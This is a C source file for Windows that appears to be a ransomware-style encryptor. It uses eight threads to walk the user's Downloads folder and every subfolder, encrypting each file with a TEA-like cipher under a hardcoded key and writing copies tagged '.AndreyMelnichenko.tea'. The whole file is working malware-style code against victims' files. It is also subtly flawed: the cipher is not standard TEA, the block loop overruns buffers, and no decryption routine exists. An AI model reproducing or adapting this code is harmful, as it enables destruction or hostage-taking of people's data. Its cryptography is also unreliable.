#include <windows.h>
#include <stdio.h>
#include <stdbool.h>
#include <stdlib.h>
#include <string.h>
#include <shlobj.h>
#include <pthread.h>
#include "queue.h"

#define MAX_PATH_LENGTH 260
#define MAX_THREADS 8
#define ROUNDS 32

// Mutex for synchronizing queue operations
pthread_mutex_t queueMutex = PTHREAD_MUTEX_INITIALIZER;

// Structure to hold data for each thread
struct ThreadData {
    char directory[MAX_PATH_LENGTH];
    const char* teaKey;
};

// TEA encryption function
void tea_encrypt(unsigned char *data, unsigned char *key) {
    unsigned int i;
    unsigned int delta = 0x9e3779b9;
    unsigned int sum = 0;
    unsigned int v0 = *(unsigned int *)data;
    unsigned int v1 = *(unsigned int *)(data + 4);

    for (i = 0; i < ROUNDS; i++) {
        v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + ((unsigned int *)key)[sum & 3]);
        sum += delta;
        v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + ((unsigned int *)key)[(sum >> 11) & 3]);
    }

    *(unsigned int *)data = v0;
    *(unsigned int *)(data + 4) = v1;
}

// Function to encrypt a file
void encryptFile(const char* filePath, const char* teaKey) {
    FILE* ifh = fopen(filePath, "rb");
    if (!ifh) {
        printf("error opening file: %s\n", filePath);
        return;
    }

    fseek(ifh, 0, SEEK_END);
    long fileSize = ftell(ifh);
    fseek(ifh, 0, SEEK_SET);

    unsigned char* fileData = (unsigned char*)malloc(fileSize);
    if (fileData == NULL) {
        printf("error allocating memory for file: %s\n", filePath);
        fclose(ifh);
        return;
    }
    
    fread(fileData, 1, fileSize, ifh);
    fclose(ifh);

    unsigned char key[16];
    memcpy(key, teaKey, 16);

    // Encrypt the file data
    for (size_t i = 0; i < fileSize; i += 8) {
        tea_encrypt(fileData + i, key);
    }

    // Write encrypted data to a new file
    char encryptedFilePath[MAX_PATH_LENGTH];
    snprintf(encryptedFilePath, sizeof(encryptedFilePath), "%s.AndreyMelnichenko.tea", filePath);
    FILE* ofh = fopen(encryptedFilePath, "wb");
    if (!ofh) {
        printf("error creating encrypted file: %s\n", encryptedFilePath);
        free(fileData);
        return;
    }

    fwrite(fileData, 1, fileSize, ofh);
    fclose(ofh);

    printf("file encrypted: %s\n", filePath);

    free(fileData);
}

// Function to process directories and encrypt files in a thread
void* threadProcess(void* arg) {
    Queue* q = (Queue*)arg;
    struct ThreadData* threadData;
    while (true) {
        pthread_mutex_lock(&queueMutex);
        threadData = dequeue(q);
        pthread_mutex_unlock(&queueMutex);

        if (threadData == NULL) {
            break;
        }

        char directory[MAX_PATH_LENGTH];
        const char* teaKey = threadData->teaKey;
        strncpy(directory, threadData->directory, MAX_PATH_LENGTH - 1);
        directory[MAX_PATH_LENGTH - 1] = '\0';
        free(threadData);

        WIN32_FIND_DATAA findFileData;
        char searchPath[MAX_PATH_LENGTH];
        snprintf(searchPath, sizeof(searchPath), "%s\\*", directory);

        HANDLE hFind = FindFirstFileA(searchPath, &findFileData);

        if (hFind == INVALID_HANDLE_VALUE) {
            printf("error: %s - %d\n", directory, GetLastError());
            continue;
        }

        do {
            const char* fileName = findFileData.cFileName;

            if (strcmp(fileName, ".") == 0 || strcmp(fileName, "..") == 0) {
                continue;
            }

            char filePath[MAX_PATH_LENGTH];
            snprintf(filePath, sizeof(filePath), "%s\\%s", directory, fileName);

            if (findFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
                // Add subdirectory to the queue
                struct ThreadData* newThreadData = (struct ThreadData*)malloc(sizeof(struct ThreadData));
                if (newThreadData == NULL) {
                    printf("error allocating memory for new thread data\n");
                    continue;
                }
                strncpy(newThreadData->directory, filePath, MAX_PATH_LENGTH - 1);
                newThreadData->directory[MAX_PATH_LENGTH - 1] = '\0';
                newThreadData->teaKey = teaKey;
                
                pthread_mutex_lock(&queueMutex);
                enqueue(q, newThreadData);
                pthread_mutex_unlock(&queueMutex);
            } else {
                // Process individual files (encrypt)
                encryptFile(filePath, teaKey);
            }
        } while (FindNextFileA(hFind, &findFileData) != 0);

        FindClose(hFind);
    }
    return NULL;
}

int main() {
    const char* teaKey = "\x6d\x65\x6f\x77\x6d\x65\x6f\x77\x6d\x65\x6f\x77\x6d\x65\x6f\x77";
    char startDirectory[MAX_PATH_LENGTH];

    // Get the "Downloads" directory path
    if (!SUCCEEDED(SHGetFolderPathA(NULL, CSIDL_PROFILE, NULL, 0, startDirectory))) {
        printf("Failed to get user profile directory.\n");
        return 1;
    }
    strncat(startDirectory, "\\Downloads", MAX_PATH_LENGTH - strlen(startDirectory) - 1);

    // Initialize the thread-safe queue
    Queue queue;
    queue_init(&queue);

    // Create the initial thread data and add it to the queue
    struct ThreadData* initialThreadData = (struct ThreadData*)malloc(sizeof(struct ThreadData));
    if (initialThreadData == NULL) {
        printf("error allocating memory for initial thread data\n");
        return 1;
    }
    strncpy(initialThreadData->directory, startDirectory, MAX_PATH_LENGTH - 1);
    initialThreadData->directory[MAX_PATH_LENGTH - 1] = '\0';
    initialThreadData->teaKey = teaKey;

    pthread_mutex_lock(&queueMutex);
    enqueue(&queue, initialThreadData);
    pthread_mutex_unlock(&queueMutex);

    // Create and start threads
    pthread_t threads[MAX_THREADS];
    for (int i = 0; i < MAX_THREADS; i++) {
        if (pthread_create(&threads[i], NULL, threadProcess, (void*)&queue) != 0) {
            printf("error creating thread %d\n", i);
        }
    }

    // Wait for all threads to finish
    for (int i = 0; i < MAX_THREADS; i++) {
        pthread_join(threads[i], NULL);
    }

    // Clean up the queue
    queue_destroy(&queue);

    return 0;
}